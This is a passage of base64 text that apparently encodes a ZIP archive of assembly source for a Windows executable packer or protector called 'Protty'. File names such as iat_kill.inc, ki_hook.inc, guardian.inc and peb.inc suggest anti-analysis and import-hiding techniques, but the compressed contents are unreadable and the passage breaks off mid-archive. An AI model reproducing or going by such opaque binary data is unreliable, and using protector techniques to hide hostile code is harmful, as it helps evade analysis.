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
CABIiI4ydt4TyT4CAABeBgAAMQAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJl
bnQvc291cmNlL3Byb3QvdXNlZnVsbC5pbmOdU9uO2jAQfQZp/2G6T63KJYCE
VlAqIEmXruiCAl1RVRUy8UAskjgyTpf262uTACmkkUry4NHMnHPmYner//fd
lbvwwoSMiT8VXKIr374D3KMbSy7eqOgNfPZg0Xv1UCDUwTYXvR37fTCtRW/q
TOa3kWrk/Js+nmxzDlVwBRKJFFa/YMq4FDAkISPwYaWPWqRd/U1AmF9zefBR
U3hSRp16PVrVdhG6jPhsh7TGwjW/paS7ckC2uIzU1Eqlkjrcu3Ipinceocro
U/QlaQrcAK4i5XCJ70O/v1cmpWDolP6+k0IA6f5kumeT7I9I+soFhUi1+V3x
vV/+vbMfms710N02wajc20Jw0bne61pNA+m9pufRoUyB8rITDGmkffrvBpyy
NVNTFiSkPIAwDlYoYIMhCqJuiNoDF2zDQuLrRchq0zAMjUzylzuUcXQaz6FK
1c0eHlHOmbs1eRyqAkoB/wlOgpgh0krSeFrcBdWxvky+8iYzPSUrgowqXHzT
r7ORPtXlLAhaRcGBCirVVeI2PnkVaDW8UprWBceaz8w87S+TF0i1K9meAa5z
B5YFqVpFA/JynMn4zNcoItEJ7Xbb+3dN2RUkwznkFo2w1cyJTaZHRQ01HXM5
ZLJzDM9GzrmrRuK7Jnl6Ng/nmPNomVJcZy0mGS7DtoYPD62m4WnZLFBrjydJ
WakrRzJTd1pUgaClV2Itcmisz6cN5zKYo8czw2BxGb9GpJLpNchDFPSSe4uz
C7oMOvb8+eolAehnB38AUEsDBBQAAAAIAI5IwTKG58q82gEAAOoEAAArAAAA
UFJPVFQtUEFDSy9wcm90dHktY3VycmVudC9zb3VyY2UvcHJvdHR5LmFzba1T
0W7bIBR9dqT8w1W1h02K3WR9S7cpTuppntosSvySaZKFATs0tkEGr+nfD0ys
pi3RVmnwAD7ncrj3XHzt+z7chfESVusfSbKF23i+Dtdb+BrfRuC/bQwH1288
8Te5Piu9fI8WCfiAG4oUJZA9wopx1cAc1QzBp8wsgTDQrKgQKwPMqy9GYqeU
mF5eiiyQgmKGSiYpCVid8/+er52sxmVLKFSPKSlLfRO2uGizkmFPj00SrpPU
1mYZuUPERmFUlvAqgAvDV/w3UHQYTYaDhioYL3b2zGm4lhcN7670nnS9+0pA
iu7NTPUnyeDi6O17/OEf3bwYTa5Gk/Hx+Hlfn8fFEmr+ACVHhNVFEARHemQC
+pSmXZJd7Tp7RbFK9d4WYWr3uu1MY4TXVEd72oAOowempl5XKhhFz5sZmQNE
mlhpJ6iU1qUHJI35OqexwzRaE9F38LSLhGZtkZqkbCd73CC/MK9zBxzeRFcf
g3Dz7QWunawd4fQgeKPSPetfyzO2lTRvnUzRooYw5JLcs3TH+d7NnJETNHOg
DJ3NrKAKCSYdTMVJUzkrxVS4jOwcm8dLbVo8HNxsl+FdvDg2J93EP6PP73ye
51K/+pekaaNtmW4h6D/OuHzaSTv/AFBLAwQUAAAACACNrWQpzzOord69AABf
PQQALQAAAFBST1RULVBBQ0svcHJvdHR5LWN1cnJlbnQvc291cmNlL1dJTjMy
QVBJLklOQ5ydSXPrOnaA9131/gNXHd+k34smX/umVxQJSYw5PZKyrt9GJdu8
tvJkyS3Jd/hdvUl1Ulkni+ySv5PKwUASAEEAtDa2QH4YDg7OORhI/fm//rvf
599++sOf/+Y4q+3+8fDt5HiH/em82Z9Pzh+d/Hx8ezi/HcuT43wtj6ftYe8M
fxkOnL9RpvlcPHwA8rGMtrudc//DyTebx80Lfwdh/rNn3f4dmL/HHydK/GAW
IB9n7u4ffz4cnYvB5JfB5S+jwWDwwSF3/fQHuP9/pTz+FdL+6jjB/svh+LI5
4zY4f4W0/5Hu+w9Iqxv/T/Dl5/oDX/7PcV9fd9sHmoFfnn4/H16d4nDY3W+O
zmy3eTo5M6jUvDyD2Dbn0shE5em0eSpPxhvjw3n7pbooUscHx98eywd8iaRM
Nw+/Px0Pb/tHJ4LuOLHE0/bBKX68Vt+3+83xh5NtTufy6CSv5ZHkXV08v2xe
oTNfXqHfSZdz5PHt9Azt+7GrEt7OZ7gD5HY+HnZi7aRrfDOUN3DZervNiftP
vLR9vT9sjo9Y3NCfTerrdv/keJvXzf12tz1vq/tBDE5aV8o77A7H6t+X+4Mz
